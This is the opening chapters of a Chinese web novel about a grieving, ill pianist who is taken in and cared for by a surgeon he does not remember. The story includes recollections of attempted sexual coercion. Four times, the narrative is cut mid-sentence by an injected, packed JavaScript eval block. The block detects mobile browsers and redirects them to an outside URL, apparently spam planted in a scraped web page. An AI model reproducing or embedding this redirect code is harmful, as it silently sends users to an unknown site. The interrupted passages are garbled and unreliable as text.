《被陌生男人带回家了》 1. 一 跟妈妈告别后,淮希最后一个从墓前离开。 他撑伞走出墓园时,公路上已经没什么人了。 下葬这天从凌晨就开始下雨,现在虽然是下午,天色却阴沉得像晚上。 深秋季节的雨丝钻入衣领,像针尖扎在脖颈上,冷得让人分不清究竟是水还是冰。 淮希步行到公交车站,在站台站了好一会儿,才等来一辆班车。 爸爸去世没多久,为了给妈妈治病,他就把家里房子都卖了。 为了方便照顾病人,淮希租的房子就在医院附近。 回到家,伞放到阳台晾着,又脱下身上的外套。 外头刮着风,即使打了伞,外套上还是落了一层雨珠,手心刚碰上就被冰得浑身一颤。 淮希感觉出是自己的掌心偏热,又用手背往额头上碰了碰。 粗略判断后,他从散乱的桌上翻出两颗感冒药,就着昨天没喝完的半瓶矿泉水吞下,就进了卧室。 洗过热水澡,身上的疲惫感没有减轻,反而变得更重。 眼皮和步伐都重得厉害,淮希胡乱用被子蒙住脑袋,立刻睡了过去。 他这一两年的睡眠质量变得越来越差。 没了父亲,他忙着处理家里公司倒闭后留下的摊子,忙着完成学业,忙着四处奔波赚钱。 妈妈的情况一天比一天糟糕,淮希的手机二十四小时不关机,夜里睡觉时会特意把铃声调大,以防错过任何一个来自医院的电话。 即使他这一觉睡得很沉,却并不解乏。 放在枕头旁的手机刚响一声,淮希就一激灵惊醒过来。 是大学朋友打来提醒他今天有演出,问他还去不去。 淮希答了声“去”,挂掉电话后按部就班起床洗漱。 雨在夜里停了,但今天仍旧是阴天。 清晨被寒露覆盖,天还没完全亮,路上稀疏的行人都把衣服裹得很紧。 淮希洗漱的时候从镜子里发觉自己脸色很差,脑袋也比昨天更沉了,隐隐作痛。 他只好又去吃两颗退烧药。 这次的演出在临阳市,距离淮希常年所住的松月市相差将近一千公里。 淮希小时候总被人喊钢琴小天才。 淮妈妈年轻时身体底子就不好,淮希是早产儿,身体素质也弱。 所以淮父淮母分外珍爱他,将淮希当玻璃娃娃小心呵护长大。 淮希身体弱,精力差,小小年纪就养成了对什么都不在意的沉静性子。 他从小到大都无忧无虑,也不争不抢,同龄人普遍有的顽皮和朝气,从没在淮希身上展现过。 所以当幼年淮希表现出对钢琴感兴趣时,淮父淮母都十分惊喜。 淮父经营着一家规模不大的公司,生意状况平稳,淮母是教师。 家庭条件虽然不算大富大贵,但全心全意支持孩子学习钢琴不成问题。 淮希的性格十分寡淡,他唯一对钢琴有的那么一点兴趣,是真的只有一点。 大多数从小培养钢琴特长的孩子都会被家长绑在椅子上,每天刻苦练习,淮希却只有实在无聊或一时兴起才会去弹。 他心气弱,即使喜欢弹琴,也从没对这方面有过什么执念和追求,有什么非要实现的目标,只是想弹的时候就弹了。 太过薄弱的精力让他无法考虑那么多。 甚至有时候前一天兴致好,连续弹琴的时间长了些,第二天还会低烧。 好在淮父淮母也只是希望孩子能开心,能靠弹琴解闷,不至于整天都无精打采就很好。 淮希的弹琴天赋随着成长日益展现。 松月市的音乐学院在国内数一数二,淮希高中毕业后很顺利考了进去。 学了四年钢琴,本来打算出国继续深造,但淮妈妈在这时查出了淋巴癌。 淮希当时已经获得了保送本校研究生的名额,他当即放弃了出国,选择继续留在松月市,能有更多的时间和父母待在一起。 淮妈妈的病一经查出就是晚期。 但淮希那时并没有意识到事情的严重性。 他一开始的确感到十分惊慌,但爸爸很快给他吃了定心丸。 告诉他无论是治病的钱,还是妈妈的病情,都不用担心。 让他记住无论出什么事都有父亲顶着,他只需要照顾好自己,抽时间多陪一陪妈妈,一切就都会好起来。 一直以来,爸爸都是家里的主心骨,所以淮希真的相信了。 他松一口气,逐渐不再焦虑害怕。 直到两年后,淮父因为疲劳过度引发急性心梗突然在办公室倒下,再没醒来,淮希才知道爸爸独自承受了多少压力与痛苦。 但他真的被父母宠坏了,从小都没怎么去过父亲工作的地方,对经营公司更是一窍不通,所以家里的公司很快倒闭。 失去了主要的经济来源,妈妈的病却无时无刻不需要大量的钱。 淮希感到前所未有的迷茫和恐慌,他开始频繁地做私教、跑演出赚钱。 亲戚朋友都被吓得断联,家里的房子,车,一切能卖的东西也都陆陆续续卖光。 这时距离淮希研究生毕业还有一年。 如果没有老师和同学的坚持和帮助,以及妈妈苦口婆心的劝导,他会直接放弃学业。 到最后虽然草草毕了业,但淮希的状态已经变得很差。 他从小到大被父母宠着爱着,从没直面过什么困难,抗压能力比平常人都要脆弱。 他除了弹琴什么也不会,但当需要靠弹琴来赚救命钱时,弹好一首曲子却变得越来越难。 做私教总是做不长。 家长说他心理状态有问题,嫌他情绪抑郁,风格苦闷,会带坏小孩子。 渐渐的,能接到的演出也越来越少。 这次去临阳市的演出,还是大学认识的朋友知道他的情况,特意帮他联系来的机会。 费用有一万多块,不少的一笔钱了。 演出时间在傍晚,淮希坐高铁去临阳市,提前三个小时到达剧院。 演出进行得还算顺利,淮希结束工作从剧院出来时,帮忙介绍的那位朋友特意过来送他。 对方掐灭手中的烟,皱眉看向淮希,半晌,只低声道了一句“节哀”。 淮希恍惚了一下,像突然被提醒。 他差点忘记妈妈已经死了。 点头道谢后,淮希很快道别离开。 临阳市的秋天很干燥,不像松月市那样潮湿多雨,但气温更低。 凛冽的风吹在脸上冻得发疼,淮希已经提前穿上了羽绒服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310213|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但走在路边还是觉得冷意很快渗透进皮肤里。 脑袋和脸颊却异常地发热。 弹琴时他就觉得脑袋越来越昏沉,眼花得看不清琴键,好在今天的几首曲子他都够熟悉,才没出什么差错。 淮希点开手机导航,正犹豫是先去附近的医院还是直接回家,眼前突然一片漆黑,手机也跟着摔在地上。 …… 裴长谦今天有一场难度很高的手术,做完下班时已经将近夜里十点钟了。 与同事简单道别后,男人穿一身深暗灰色大衣,脚步快速不失沉稳,很快从手术中心出来。 虽然胃里很空,但是忙到这个点已经没有什么食欲。 冰箱里应该还冻有半袋汤圆,裴长谦打算回家煮煮吃了,省得再去找地方吃饭。 路过急诊部时,外面停着的救护车刚走。 裴长谦匆匆瞥了一眼,分诊台处,护士正在确认被送来的患者名字。 可能因为着急,护士说话的声音偏大,话音通过敞开的大门传到外面。 男人的脚步忽然停驻。 裴长谦走进急诊部时,里面人不算多。 暂时有空的值班护士抬头看到他,跟他打招呼:“裴大夫,有事?” 裴长谦工作的科室在脊柱外科,年纪轻轻就已经评上副主任医师。 他实力强,在医院里比较出名,再加上工作期间免不了经常打交道,所以不少医护人员都认得他。 “你好,刚才送来的患者叫什么名字?”裴长谦相貌冷硬,经常是一副不苟言笑的模样。 “哪个?高烧昏厥的那个?叫淮希。”护士指着分诊区的方向说。 裴长谦眉心跳了一下,表情没变。 他又语气平稳地问:“哪个淮,哪个希?” 护士干脆给他看了一眼从患者衣服口袋里掉出来的身份证。 裴长谦确定了姓名,视线最后停留在旁边的一寸照上。 “我能进去看看吗?”他问。 “您认识?”护士疑惑道。 “嗯,应该。”裴长谦说。 “那就太好了,”护士忙让人给他让开路,“他好像是从外地来的,身边没什么人呢。” 分诊区今晚的患者较少,裴长谦径直走向那张被医生和护士围住的病床。 掀开帘子,床边的椅子上放着一只学生气很重的白色背包,之后才看到躺在病床上的人。 医生已经给患者做过紧急处理,正在监测生命体征,做进一步检查。 初步判断只是高烧导致的昏倒,不伴随其他复杂的病症,没有生命危险。 只是躺着的人始终不省人事。 他很瘦,隔着衣物能看见骨头的痕迹,脸颊上几乎没什么肉,凹陷着,肤色是死白的。 现场十分有序,医护人员正在商量怎么联系患者家属。 淮希的手机屏幕摔碎了一半,但勉强还能看,他也没有设置密码。 护士从他的通讯录中找到的紧急联系人是妈妈,但拨过去却是无人接听。 正准备再多拨几遍时,另一个工作人员从旁边的白色背包中找出了一份淮妈妈的死亡证明。 一时间,周遭跟着安静了几秒。 裴长谦立在病床尾,眉头皱得很深。 2. 二 淮希醒来时,头已经不疼了,但眼皮还是很重。 浑身被又厚又软的暖被包裹,脑袋下的枕头也很松软,淮希一时不知道自己在什么地方。 这是一个陌生的房间。 厚重的窗帘紧闭着,一片黑暗,但淮希勉强能看清周围的布局。 房间偏大,陈设十分简约,色调统一,干净整洁。 淮希呆着表情回忆了很久,对这个地方还是毫无印象,也不知道自己为什么会在这。 他有点想起身,但过于舒适的被窝和沉重的四肢让他的行动变得很困难。 房门在这时被人推开。 外面的光顺着敞开的门挤进来,淮希被刺得皱起眉,这才发现现在是大白天,不是晚上。 一个陌生男人出现在门外。 对方没有开灯,进来后也没有关门,径直在床边坐下。 淮希感到温热的手掌放在自己额头,他有心躲避,但其实并没有使上力。 男人的手只停留两秒,又收回去。 淮希迟缓地抬起眼,借着门外投来的暖光打量面前的陌生人。 男人穿一件纯黑衬衣,气质成熟,身量很高,坐下后宽阔的肩背轻易挡住了一半光线。 淮希不认识他。 “你昨天晚上因为劳累和高烧晕倒在路边,被送到了最近的医院。” 男人给他量了一次体温,声音低缓地解释:“已经退烧了,但必须好好休息,按时吃药。” 淮希脸色还是很白,嘴唇干燥,毫无血色。 与对方相比,他发出的声音又弱又哑。 “你是谁?” “我姓裴,裴长谦。” 男人神情严肃,但回答得很自然,好像在与一位一见如故的朋友闲谈。 “我曾在松月市第一中学读书,我们是校友。” 淮希这次很轻地皱了眉,因为疑惑。 他静静地看了裴长谦很久,毫无光彩的眼珠显得漠然。 “我们没见过。”淮希不算认真地在记忆里翻找几下,说道。 裴长谦似乎停顿了片刻。 “正常,”他说,“我比你大六届。” 淮希沉默,眨了一下眼睛。 他其实想说,那和陌生人有什么区别。 但犹豫了一下,没有开口,想省点力气。 “你的身体状况很差,需要长期调养才能恢复健康状态。” 裴长谦不介意他的沉默,兀自说下去:“你以后可以住在这里,我来照顾你。” 淮希的神情总算有了变化。 他看向裴长谦的目光变得古怪。 类似这样的话,别的陌生男的也跟他说过,淮希遇到过不止一次。 都是发生在父亲去世后,他想方设法拼命赚钱的这一年多里。 一个是他做私人钢琴教师时遇到的学生家长。 对方平时很少在家,每次上钢琴课,陪伴孩子的都是妈妈。 但有一次,那个男的出差归家,恰好遇到淮希来上课。 从那天起,陪孩子学琴的人就变成了爸爸。 不过对方从不关心孩子弹得怎么样,视线反倒频频落在淮希身上。 课程快结束的时候,那个男的突然私下联系淮希。 男人说在知道淮希的家庭情况很糟后,他心中十分不是滋味,所以想送个房子给淮希,帮淮希减轻负担。 但有个条件,他要每周至少过去休息一晚。 他去的时候,淮希自然必须陪着。 那时父亲刚走一个月,正是淮希最手忙脚乱,狼狈不堪的时候。 他看着男人恬不知耻的嘴脸,气得脸色发白。 冷淡拒绝对方后,不忘把两人的谈话内容原封未动告诉女主人。 还有一个是一家大公司的老总。 对方似乎身份很厉害,也的确非常有钱。 原本,淮希只是接了一份工作,到这位老板的私人音乐厅弹一场钢琴独奏。 但演出结束后,他被老总带着助理堵在了休息室。 老总说想包了他,以后把他带在身边。 还说,只要淮希够听话,就不仅可以出钱照顾他和他的母亲,还可以把淮妈妈转到更好的医院接受治疗,哪怕是国外也不成问题。 助理反锁了门,让淮希认真考虑考虑。 淮希被逼到绝路,害怕得浑身绷紧发抖,最后闹得很难看才得以从那间休息室逃出去。 但其实,对方提的诱人条件也让他心生动摇。 那时,淮妈妈已经开始频繁发热,总是陷入昏迷,神志清醒的时间越来越少。 淮希的身体和心理承受能力都很差。 他已经二十六岁,也经历了不少痛苦,但却还是根本无法做到成熟地面对困难。 他脸色一天比一天憔悴,身体一天天瘦下去。 一想到妈妈也会死,就害怕得整宿无法入睡,只会找个没人的地方毫无用处地崩溃痛哭。 他真的没什么用,即使拼尽全力也是什么事都做不成。 距离他被压垮只剩吊着的最后一口气,但仍旧救不了妈妈的命。 淮希拒绝那个老总后不到一个月,妈妈去世。 他拿到死亡证明,心中真切地为这事后悔过。 如果他当时答应,妈妈是不是能活的久一点? 不就是被人包养,给人睡一睡吗? 淮希当时对自己狠不下心,骨头弯不下去,现在却觉得没什么不能接受的。 他躺在那里,神情木然地看着裴长谦。 对方的相貌很出众,面庞轮廓立体,双眼漆黑深邃,配上严肃正经的神情与一身沉稳气场,倒是人模人样。 看起来不像那个学生家长,把龌龊下流的心思全写在脸上。 也没有像那个老总一样,用玩味露骨的眼神看他。 “你是做什么的。”淮希在观察完对方后,出声问。 裴长谦被他盯了那么久,情绪没有任何变化。 他语气依旧,缓声回答:“我在省人民医院上班,是医生。” 虽然平时工作较忙,但抽时间照顾好一个人应当不成问题。 目前收入稳定,存款充足,有车有房,经济方面足够保障两个人的生活质量。 “听起来很正经。” 淮希评价道。 因为妈妈常年住院的原因,淮希对医护人员有很厚的滤镜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310214|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他停顿一下,语气冷淡地问:“你现在是想包养我吗。” 裴长谦原本专注地垂眼看他,闻言一愣,眉间跟着皱起。 他张了张口,看着淮希。 一直有问必答的男人这次突然答不上来了。 空气凝固了片刻。 “我煮了饭,一会儿给你盛进来。” 裴长谦换了话题。 他站起身,动作温和地扶着淮希靠坐在床头。 “现在先喝点水吧。” 男人一手托在淮希身后,一手把放了吸管的水杯递到淮希嘴边,低声劝道。 …… 淮希说从没见过裴长谦,其实他们见过一次。 裴长谦也是从小在松月市长大,他直到大学时才考去临阳市。 大三那年暑假,他回家乡医院实习,顺带参加了高中母校的校庆。 那时淮希作为刚步入高中的高一新生,提前半个月入校军训。 校庆进行到晚上,在操场上举办音乐节。 淮希少年时期的身体虽然比小时候好一些,但跟上大家的节奏训练上一整天,对他来说也是极限了。 所以被朋友拽来凑热闹时,他整个人都无精打采,困倦得不像话。 盘腿坐在操场的草地上,肩膀耷拉着,脑袋一点一点地往下垂。 最后实在支撑不住,干脆闭眼倒在朋友腿上,就这么蜷躺在草坪上睡了过去。 腿上突然枕过来一个脑袋,正抬头认真听歌的裴长谦被惊了一下。 但他性格一向稳重,心里惊讶,身体倒是一动没动。 少年淮希的身形就很瘦弱,普通的军训服到他身上,衣领变得宽松不少。 柔软的布料歪下去,露出一片白到晃眼的细腻皮肤。 淮希的长相不是一眼多惊艳的漂亮,倒是带着男孩子少有的秀气。 但他身上的气质实在是太过特殊。 耀眼而脆弱,很容易引起旁人的保护欲。 裴长谦僵住半边身子,垂眸看得出神之际,认错朋友的少年嫌音乐和灯光扰眠,忽然皱起眉,用抱在怀里的外套蒙住了脑袋。 外套口袋里的学生卡掉了出来。 裴长谦捡在手里,看过,又动作很轻地给塞回口袋。 然后,他重新把目光移到舞台方向,没再低一下头。 淮希是被玩够了才跑回来的朋友叫醒的。 他睡了很香的一觉,茫然且迟缓地坐起身,把脑袋上的衣服扒拉掉时,将一头柔软的头发搞得乱糟糟。 直到这时,他才意识到自己居然一直枕在一个陌生人腿上。 淮希尴尬得满脸通红,慌慌张张站起身向裴长谦鞠躬道歉。 之后不等对方回答,就捂着脸跟朋友一起跑掉了。 其实这场乌龙的全程只有不到一个小时。 那之后,裴长谦很快回到临阳市,忙着考试,实习,读研读博,上班…… 他的生活一年比一年忙碌,几乎每件事都可以覆盖掉那个普通的一小时。 裴长谦也早就记不起来那个人长什么样子,叫什么名字。 所以昨晚在急诊部,他能一眼认出淮希,裴长谦自己也很意外。 3. 三 淮希从醒来就没出过这个房间。 离开床的时间也很少。 房里开着灯,窗帘被人拉开一半。 这天气温骤降,大风伴随雨夹雪,冰凉的雨不断打在透明玻璃上。 外面风雪交加,屋里却十分温暖。 淮希这几天才对妈妈的去世有了实感,之前他总忘。 其实从爸爸死后,他就认清了现实,知道妈妈早晚有一天也会离开他,只是他一直接受不了。 不过,可能是处在一个完全陌生的地方,身边还有一个奇怪的陌生人的原因。 淮希本来以为自己又会没用地崩溃,但居然没有。 他浑身被软被裹住,蜷躺在大床一边,背对着浴室和衣柜的方向,但无法忽略那边传来的动静。 淮希醒来的那天晚上,裴长谦去了趟商场,买回来很多新的生活用品。 从头到尾,从牙刷牙膏到浴巾棉拖鞋,内衣睡衣等,一切都置办齐全。 至于外出的衣物,裴长谦暂时不希望淮希出门,所以没买。 他把自己的东西移到客卧,把主卧腾给淮希。 今天天气差,医院不忙,裴长谦按时下班。 他回到家身上寒气未落,第一件事就是找淮希。 提醒淮希换一套干净的睡衣,把换下的放进洗衣机。 淮希不讲究,挤过的牙膏随便放在一边,穿着湿拖鞋在地板上踩来踩去,浴巾擦完随便往沙发上一扔…… 裴长谦每天都会来帮他打扫一遍房间。 所有物品规规整整摆回原位,洗手台的水渍全部擦掉,地板也会拖得光洁如新。 他好像有洁癖和强迫症,认为浴巾扔在沙发上就被染脏了,会立刻洗干净,和干净衣物一起叠整齐,再交还给淮希。 男人做事很有条理,把家务办得干净利落。 淮希闭眼听着对方忙碌时传来的声响,混着外面的雨雪声,有些昏昏欲睡。 裴长谦忙完后,会问淮希要不要去餐厅吃饭。 他每天都会问,但淮希每次都不回答。 除了刚醒来时问了几个问题,淮希之后开口说话的次数很少。 裴长谦就把饭菜送到床边。 即使淮希总是只吃几口。 淮希待在这里已经将近一周,但两人从没有一起吃过饭。 裴长谦的工作很忙,早出晚归。 早上他出门太早,为了不打搅淮希睡觉,都是买好早饭放在主卧门外,然后安静地出门上班。 中午,他会特意开车回来,做好饭菜送进主卧,督促淮希吃过,再收拾好匆匆回医院。 晚上裴长谦尽量少加会儿班,时间就能宽裕点,有机会研究厨艺。 但无论他怎么变着花样做饭,淮希的食欲始终很差。 淮希的失眠很严重,这倒不是因为在陌生的环境。 从一年多以前,他就开始入睡困难、多梦易醒。大多数晚上,他真正睡着的时间只有两三个小时。 裴长谦每到夜里两三点,就会来主卧看他。 第一次的时候,淮希还以为裴长谦果然是变态,装不下去了。 眼睛闭着,也能感觉到床边笼罩下的阴影。 淮希心里没什么情绪波动,他不感到恐慌害怕,也不打算防备或反抗。 不管裴长谦是来杀他的,还是来睡他的,淮希都觉得无所谓。 但温暖清淡的木质香缓缓渗入呼吸,对方只是用指腹来触摸他的颈静脉搏动,之后又轻触他的额头来试探体温。 滑落到肩膀的被子被人轻轻牵到脖颈处,掖得紧实,使被窝更加温暖。 随着关门的细微声响,房里的漆黑身影离开。 之后的每个晚上都是这样。 连续一周左右后,淮希有一次睁开了眼。 那时裴长谦帮人掖被子的手还没收回去,淮希的醒来让他动作僵了一下。 温暖的手背碰到了淮希的脸颊,又轻轻抽离。 “你不睡觉吗?”淮希冷漠地问他,嗓音低哑。 “抱歉。”男人开口道歉,但他的神情中似乎没有歉意,仍是一如平常的严肃。 他在床边微微俯身,像是在仔细观察淮希:“你一直睡不好,是吗?” 淮希静静看他片刻,然后翻身背对着他。 从那天起,裴长谦咨询了同事,开始学习做安神助眠的粥汤,督促淮希多吃助眠的食物。 他严格控制主卧的室温,甚至更换房间的枕头和床垫,不过都收效甚微。 偶尔,他会劝淮希出卧室,在家里散散步。 但淮希不理他。 …… 这天晚上,裴长谦提着一袋子菜回到家,发现淮希第一次没待在卧室。 对方还换下了睡衣,上身穿的是裴长谦常穿的那件褐色针织衣。 对裴长谦来说刚好合身的衣物,被淮希穿的松松垮垮,他蜷坐在沙发上,腰身只有薄薄的一片。 腿上的黑色休闲裤也是从裴长谦衣柜里翻出来的,裤腿盖住了瘦白的脚。 淮希的审美一直很好,只不过近两年才没心思打扮了。 他一直没说,裴长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310215|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦买的睡衣在他看来都很丑。 淮希穿了一个多星期,今天突然不想穿了。 裴长谦只在入门时脚步顿了一下,之后神情不变走到淮希身旁。 他一时忘记放下手里的东西。 “我没衣服穿。”淮希先开的口,他仰头看着裴长谦说。 “我的衣服都在松月市。” 他应该是刚洗过澡,这次没有裴长谦提醒,就自己吹干了头发。 柔软的发丝搭在额头,面庞苍白,眼睛水润。 “可以重新买。”裴长谦拿出手机看了一眼,说,“明天可以吗,明天天气好,我们一起出门。” 淮希不答话。 裴长谦停顿片刻,又说:“我周末去趟松月市,帮你取过来。” 淮希不再仰头看他:“我不喜欢你这里,我想回去。” 具体想回哪,其实淮希不知道。 他不仅不喜欢待在这里,他好像哪里都不喜欢,尤其不喜欢他在松月市的那个出租屋。 那里还有很多妈妈的遗物没收拾。 这次足沉默了很久。 裴长谦似乎攥紧了手,他手中的塑料袋发出很细微的声音。 “你现在身体太差,需要人照顾,”男人垂着眼,声音低沉,“等你恢复健康,我会送你回去。” 淮希又不说话了。 裴长谦在原地立了一会儿,转身进了厨房:“我去做饭。” 等人走开了,淮希缓缓趴在沙发靠背上,去看男人系围裙的身影。 他皱着眉,觉得裴长谦真的好奇怪。 一个完全不认识的陌生人,非要收留他,任劳任怨地照顾他。 房子给他住,还大把大把地为他花钱,但又什么都不图。 淮希觉得自己是个不可理喻的废物,而裴长谦的脾气出奇地好。 他穿上拖鞋走到厨房门边,裴长谦正在里面备菜。 男人见他过来,停下动作,露出询问的目光。 “我不喜欢牛肉。”淮希一手扶在门框上,看着裴长谦买回来的那一袋子菜,开口说。 “也不喜欢喝汤。” 这么多天,裴长谦的神情第一次有这么明显的波动。 他眼中带上高兴的情绪,说话时气息不太稳:“我知道了。” 男人一边解围裙一边说:“我去重新买,鱼肉怎么样?” “不炖汤,可以清蒸,或者红烧。” 淮希略一抬眼,裴长谦眸中的关切灼得他眼眶发疼。 他安静地看着对方,很轻地点了下头。 4. 四 这天上午,裴长谦做完一个两三个小时的脊柱微创手术,回到医生办公室。 给带教的研究生和规培生简单讲完术后总结后,可以短暂地休息片刻。 保温杯里的水温度刚刚好。 裴长谦一边喝水,一边拿出手机看一眼。 微信唯一置顶的那个联系人仍旧没给他发过任何消息,他们目前的聊天记录只停留在好友验证。 天气越来越冷,温水滑入空荡荡的胃里很舒服。 裴长谦看了一会儿淮希的头像,把手机重新放回白大褂口袋。 快到下班时间了,几个同事坐在电脑前改病历,偶尔聊几句天。 “真是愁啊,”一个医生叹口气说,“我家孩子最近挑食特别厉害,一到饭点就捣乱,上周都查出营养不良了。” “是不是偷吃太多零食了?”另一个医生接话道,“这个年纪正是不好好吃饭的时候,家长要严格管控家里的零食。” 发愁的医生觉得有道理:“也怪我平时工作太忙了。” “不过我这倒有个儿童食谱,”和他聊天的医生拿出手机开始翻,“我和孩子他妈天天在家不重样地做,算有点成效,孩子最近饭量见长,都长个了。” “那太好了。” 裴长谦安静地坐在最靠窗的位置休息。 他听了全程,这时往后靠在椅背上,看向那两位医生问:“能发我一份吗。” 聊天的两人显然僵住了,但又很快反应过来:“当然了师兄。” 分享食谱的那位医生本科和裴长谦在一个大学,比裴长谦还小一岁,所以称裴长谦一声师兄。 不过不同的是,他孩子都五岁了,裴长谦的感情生活却始终一片空白。 裴长谦在他们眼里就像一架工作机器。 他的生活里似乎只有工作,同时个人风格又十分公事公办,几乎从不展现有个人感情的一面。 他们听说裴长谦的父母很早就离异了。 一起共事的好几年里,大家的确从没听裴长谦提起过父母,也从没见有亲戚朋友来看过他。 裴长谦的工作状态很冷峻,他态度严肃,面对各种各样的患者很少有情绪波动。 有患者因为他冷脸,投诉他缺乏人文关怀。 但也有不少患者因为他老成持重的精湛医术,严谨负责的工作风格,跨好几个省来挂他的号。 外界的评价什么样都有,裴长谦从没在意过,也从没因为那些做出过什么改变。 不过最近,一个办公室的同事都看得出来,裴长谦和以往有些不一样。 大概是从半个月前开始,休息时看手机的次数明显变多了,下班后也着急回家了。 还总是一边出神一边皱眉,好像很犯愁一样。 现在又突然问儿童食谱,实在是很奇怪。 “师兄最近家里住有小孩?”那个医生把食谱分享过去,顺带问了一句。 他当然知道不可能是裴长谦自己的孩子,毕竟裴长谦一看就是没有任何感情生活的人。 不是偏见,那种夫妻恩爱的场景放在裴长谦身上真的会让人感到违和。 “谢谢,”裴长谦的手机收到食谱,他抬眼说,“不是。” “哦。”见他不打算顺着话题聊下去,那人就也没再追问。 …… 因为惦记着回家尝试新食谱,裴长谦只加了一个小时班就离开医院。 他路上顺带买了需要用的食材,赶到家时天色已经黑下。 房里一片昏暗,裴长谦已经习惯。 他先把装菜的袋子放进厨房,再去敲主卧的门。 轻敲几下,没有得到回应,可能是淮希在睡觉。 于是缓缓推开房门,不想却看到空荡荡的大床。 裴长谦握在门把手上的指节倏地收紧。 整个卧室里都一片漆黑,但裴长谦不死心,还是去查看了卧室和衣帽间。 片刻后,男人皱着眉,步伐很快地从主卧出来,再挨个推开家里每一个房间的门。 最后检查的房间是他现在所住的次卧。 淮希当时被送到医院后,在院内观察了一晚上。 第二天早上虽然退了烧,但人一直醒不过来,又睡得很不安,一直抽搐说胡话。 再加上医院环境不如家里,也没有舒适的换洗衣物,所以裴长谦直接开车将淮希带回了家。 他挑了一套自己最柔软的睡衣给淮希换上,而淮希的那身衣物,裴长谦则给洗干净,并藏进了次卧。 淮希穿的那件羽绒服也在干洗后,被一同放进了次卧衣柜的最顶层。 但现在都不见了。 裴长谦手中攥着空衣袋,在原地立了片刻,重新回到主卧。 淮希的手机屏碎了,也比较旧,即使修好,使用体验也会变差,裴长谦就顺带买了新的。 但淮希一直没用,新手机直到现在还包装未拆,被遗落在桌上。 步入冬天,气温一天比一天低。 今天的天气还算不错,下午的太阳光透过玻璃洒进房里,让人觉得温暖。 淮希心血来潮出了门。 他走出房门才知道外面远不如看起来那样暖和,再加上体力不佳,淮希没打算往远处走。 裴长谦所住的小区比较高档,社区环境很好。 淮希在儿童乐园找了个能晒到阳光的地方坐了很久,等太阳落山后,他又慢吞吞散了很久的步,感到凉意逐渐浸透衣物,才裹紧羽绒服回去。 推开家门时,客厅依旧没有开灯。 但借着外界投射进来的光亮,淮希还是一眼就看到了坐在沙发上的浓黑身影。 听到密码锁打开的声响,那道背影反应很大地站了起来。 两人对视,裴长谦的脸庞全隐在昏暗里,看不清楚。 但淮希隐约看见对方额间闪烁的汗珠,也许是看错了。 沉默片刻后,裴长谦先开了口,声音依旧沉稳:“去散步了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310216|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淮希“嗯”了一声,然后动作很慢地开了灯。 整个客厅顿时一片明亮。 淮希性子淡,做事也总是慢吞吞的。 他弯腰换鞋,手撑在柜面上,裴长谦注意到对方瘦长的手指很白,不见血色。 男人身上的大衣一直没脱,这时迈步走到玄关处,动作利落地将自己脱下的大衣挂好后,顺势去接淮希脱下的羽绒服。 两人的手指碰在一起,裴长谦很快往前握住了淮希,另一手不忘拿稳羽绒服。 “都冻冰了。”裴长谦握住后说。 他宽大的手掌裹得很紧,很用力,好像试图把所有的暖意封锁在两人掌间,好能在最短的时间内帮淮希暖好手。 男人声音偏低,掩盖了不稳的气息。 淮希顿了片刻,才记起来回答:“没关系。” 他说着,心想,裴长谦的手倒是很热,掌心还有细微的汗。 又握了一会儿。 裴长谦一直垂眼观察淮希的表情,在他判断出淮希快要皱眉时,及时轻轻松开手。 他动作认真地帮淮希挂羽绒服:“可以洗个热水澡防感冒,我今天学了新的菜,想让你试试。” 淮希没再出声,转身进了卧室。 他洗完热水澡,又因为很疲惫,倒在床上小小睡了片刻,才从房间出来。 裴长谦刚好忙完,叫他洗手吃饭。 餐桌上的饭菜很丰富。 淮希在自己的位置坐下,沉默地看了看,抬眸问裴长谦:“这是给小孩子吃的吧。” 裴长谦盛了饭,给他放在手边:“看得出来?” “嗯。”淮希轻轻点头。 其他的菜倒不明显,只能看出来营养价值较高。 但是被精心摆放在小盘子里的南瓜紫薯包和红枣山药饼,这两样恰好是淮希小时候,淮妈妈经常做给他吃的小甜点。 这类幼稚的点心,本来只是儿童辅食。 